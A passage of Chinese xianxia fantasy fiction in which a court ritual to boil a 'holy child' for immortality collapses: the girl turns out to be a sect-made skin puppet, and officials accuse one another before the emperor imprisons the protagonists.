一缕魂魄从大鼎里冒了出来,它注视着段星河,仿佛想跟他说些什么。段星河痴痴地低着头,好像什么也听不见,也看不见了。那缕魂魄张开双手,似乎很难过,想要拥抱他一下。可它实在太虚弱,一旦脱离了身体,经不起阳光的照射,最终还是消散了。 它消失的一瞬间,一团大火包围着鼎,轰地一声燃烧起来。就听咔咔数声,青铜大鼎从中裂开,哐当一下子摔在了地上。人皮、头发和一锅散发着异香的汤淌在了地上。 李司正吓了一跳,大声道:“有妖物,护驾、快护驾!” 一群侍卫拿着刀枪围着大鼎,十分惊慌,众人到处张望,却不知道妖物去了什么地方。刘正阳激动道:“那小孩儿果然是妖物,她不是人!” 步云邪也睁大了眼睛,实在难以相信。到底是怎么一回事……好好的人,怎么只剩下一张皮了? 他蓦然间想起了蜀山的那个冒牌的长徒刘伯桥,一个能说能笑,举止自然的人,却忽然变成了一个空皮囊。此时的情形与那时极其相似,他渐渐意识到眼前的这个小师妹,根本就是个假人。 万象门的人最擅长做这种双生蛊,做出来的皮囊惟妙惟肖。伥鬼躲藏在皮囊里,潜伏在各大宗门中,完全无迹可寻。每一个看似熟悉而无害的人,都有可能已经被那些妖人悄然替换了。 这一切就发生在自己身边,他们却一直没有发现。这具皮囊掩饰的太好了,简直跟真人一模一样。他有种被欺骗的感觉,有些愤怒,又有些茫然——到底是从什么时候开始的呢,她一直跟他们寸步不离。难道一开始在凤来城找到她的时候,她就是假的么? 那真的魏小雨在什么地方?万象门为什么要做她的傀儡让他们找到,是为了监视自己这些人的吗? 步云邪越想越觉得一团乱麻,后背一股寒意窸窸窣窣地爬了上来。 皇帝看清了下面的情形,皱起了眉头,道:“人呢,怎么只剩一张皮了?” 李如芝道:“必然是他们暗中捣鬼,施了妖法,把那小孩儿换了出去!” 他进献谗言要害死魏小雨,结果出了意外,又要倒打一耙。步云邪怒不可遏,道:“这孩子是被你们从白云观抓来的,我和段星河一到钦天监就被扣住了,怎么有机会换人?要换也是你暗中作梗吧,既然她是先天玄阴圣体,吃了能长生不老,谁知道不是你偷偷吃了呢?” 李如芝吓了一跳,一时间脸都白了。步云邪愤然道:“陛下,此人说不定已经吃了先天圣体的灵童,他的肉必然能长生不老。陛下不如把他煮了吃掉,让他一尽对君父的孝道。” 李如芝没想到这么快就搬起石头砸了自己的脚,急道:“你少胡说八道,我没有!这是要献给陛下的灵童,我怎么敢擅自动!” 步云邪冷冷道:“宁可错杀,不可放过。吃他一块肉就能长生不老,陛下不想试试吗?” 李司正已经面无人色了,跪倒在地道:“陛下别听这疯子胡言乱语,他要拉我下水,臣冤枉啊!” 刘正阳也不知道该如何是好,跟着跪道:“我作证,人一带回来就关到镇魔司的监狱里了,李大人没动那个小孩。” 步云邪冷冷道:“你们两个狼狈为奸,互相串通,你说的话有什么可信度?谁知道不是他也分了一块肉给你吃呢!” 刘正阳吓得一哆嗦,没想到刚帮李司正说了一句话,自己这条命也岌岌可危了。 他不想被人煮了吃,慌得满头大汗,忽然道:“啊……我知道了,要不然就追查,是周绛把人带回来的,他路上走了一个月,没人监督,很有可能那些人一起把那小孩儿吃了,换了个皮囊回来。把那一队的人都好好查一遍,一定能查出真相来!” 这事越说越离谱,皇帝的御前侍卫都是皇亲国戚家的子侄担任的,哪能让他们这么搅扰。 在场的侍卫你看看我,我看看你,都有些不知所措。一群朝廷命官在这里互相攀咬,简直斯文扫地,太难看了。皇帝皱起了眉头,重重一拍桌案,道:“行了,都闭嘴!” 众人静了下来,庆熙帝看着那张煮化的人皮,感到一阵恶心。吃了先天圣体就能长生不老,本来也是听李司正说的,他一直都半信半疑。如今活人被硬生生煮化了,已经超出了他能理解的范畴。若是追查下去,还不知道要出什么幺蛾子。 皇帝感到一阵头疼,觉得这帮修真的人神神鬼鬼的,让人心烦。他没想好怎么对付他们,摆了摆手道:“拉下去,先关起来吧。” 几个狱卒上前,分左右把人架起来,拖走了步云邪和段星河。李如芝跪在大殿上,松了口气,道:“多谢陛下明查!” 写起居注的太监就在帘子后头站着,剪影像幽灵一样,寥寥数笔记下了方才发生的事。皇帝没吃到长生不老肉,反而背了个不仁的恶名,还不知后人看到这一段要怎么说他。 庆熙帝看着李如芝,头脑渐渐冷静下来,恨自己被贪念蛊惑,信了他的鬼话。他心里生出了一阵厌恶,觉得这人其蠢如猪,就会给自己找麻烦。步云邪倒是聪明,可惜不愿意为自己所用。可叹自己贵为天子,身边竟然没有一个能知心的人。 皇帝重重一拂袖,沉着脸走了出去。李如芝知道皇帝对自己不满,惶恐叩头道:“恭送陛下。”